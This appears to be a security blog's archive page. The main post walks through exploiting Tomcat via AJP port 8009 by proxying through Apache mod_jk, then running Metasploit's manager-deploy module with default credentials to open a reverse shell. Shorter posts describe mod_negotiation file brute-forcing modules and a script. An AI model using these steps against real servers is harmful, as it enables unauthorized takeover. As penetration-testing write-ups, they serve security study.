Archive for apache

8009, the forgotten Tomcat port

Posted in general, security with tags , , , , , , on October 19, 2011 by diablohorn

We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:

What is JK (or AJP)?

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
	# Where to find workers.properties
	# Update this path to match your conf directory location
	JkWorkersFile /etc/apache2/jk_workers.properties
	# Where to put jk logs
	# Update this path to match your logs directory location
	JkLogFile /var/log/apache2/mod_jk.log
	# Set the jk log level [debug/error/info]
	JkLogLevel info
	# Select the log format
	JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
	# JkOptions indicate to send SSL KEY SIZE,
	JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
	# JkRequestLogFormat set the request format
	JkRequestLogFormat "%w %V %T"
	# Shm log file
	JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
	# Define 1 real worker named ajp13
	worker.list=ajp13
	# Set properties for worker named ajp13 to use ajp13 protocol,
	# and run on port 8009
	worker.ajp13.type=ajp13
	worker.ajp13.host=localhost
	worker.ajp13.port=8009
	worker.ajp13.lbfactor=50
	worker.ajp13.cachesize=10
	worker.ajp13.cache_timeout=600
	worker.ajp13.socket_keepalive=1
	worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default 
    JkMount /* ajp13
    JkMount /manager/   ajp13
    JkMount /manager/*  ajp13
    JkMount /host-manager/   ajp13
    JkMount /host-manager/*  ajp13    
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

Don’t forget to adjust worker.ajp13.host to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this.  Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:

msf  exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     localhost        yes       The target address
   RPORT     80               yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host
   
Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.195.156  yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
   
msf  exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.195.156:4444 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...
[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...
[*] Sending stage (36 bytes) to 192.168.195.155
[*] Undeploying XWouWv7gyqklF ...
[*] Command shell session 1 opened (192.168.195.156:4444 -> 192.168.195.155:39401)

id
uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)

References

mod_negotiation metasploit aux modules

Posted in security with tags , , on December 7, 2010 by diablohorn

A while ago I wrote about more efficient brute forcing if mod_negotiation is enabled. Also released a python script to automate this. Well now I’ve written some metasploit auxiliary modules that perform the same task. One module can be used to scan ranges for web servers that have it enabled, the other module can be used to actually brute force files. You can find them on github:

https://github.com/DiabloHorn/DiabloHorn/tree/5e495eb8553001946f4f98a79bd9542812de5b3e/metasploit/mod_negotiation

I’ve also made a redmine ticket on metasploit and submitted them, if you are lazy and just want to wait until metasploit includes them. Assuming they do, after all it’s my first attempt at contributing to metasploit and my code might not be up to the standards.

https://www.metasploit.com/redmine/issues/3257

For the ones paying attention to every detail, yes I fucked up and made a typo while submitting the ticket :)

If you want to use them you can place them in the following directory:

[metasploit-root]/modules/auxiliary/scanner/http/

After you’ve place them there, just fire up metasploit and perform a search for negotiation, they should show up in the results. If something goes wrong, read the code I didn’t do a lot of error checking. If you are wondering why I choose to make modules for the mod_negotiation issue…like always I wanted to learn something new and I was familiar with it so was more confident I could implement them. If it all went well it should all look like the following:

Continue reading

Bit more efficient brute forcing

Posted in security with tags , , , , , on July 16, 2009 by diablohorn

Or like most people will call it “just another mod_negotiation script”. Well yeah that’s true. I still think it has it’s added value during a brute force if it’s available. I’m not going to waste any space on explaining what the whole mod_negotiation thing is, because there are a number of excellent resources out there:

For the ones that are just curious how this boils down to source you can of course read the source of the module and some documentation about it, which is available over here:

So why did I write “yet another” script for this? Well first because I wanted to keep learning and practicing python. Also because I wanted my brute force attacks to be a little bit more efficient. So with this script instead of trying to guess the entire name(including the extension) of the file, I just guess the name and mod_negotiation will do the rest for me(read the links I provide, because it only works for mime types that are known to apache). So with a bit of luck you need less requests to find more files. For the ones working with w3af, it already has support for mod_negotiation testing.

The way to use this script would be to combine it with the excellent tool DirBuster. Just have DirBuster do a recursive directory brute force. Then take those results and feed them to my script with a decent file name list. This script is kind of an alpha version, just something I quickly whipped up.

[*] DiabloHorn http://diablohorn.wordpress.com
[*] Mod Negotiate File Brute Force
[*] mfbrute.py -t <target> -d <dir list> -f <file list>
[*] -t target to scan
[*] -d directories which will be scanned
[*] -f files which will be scanned
[*] -v verbose
[*] -h this help

You can get the src from here.

Follow

Get every new post delivered to your Inbox.

Join 33 other followers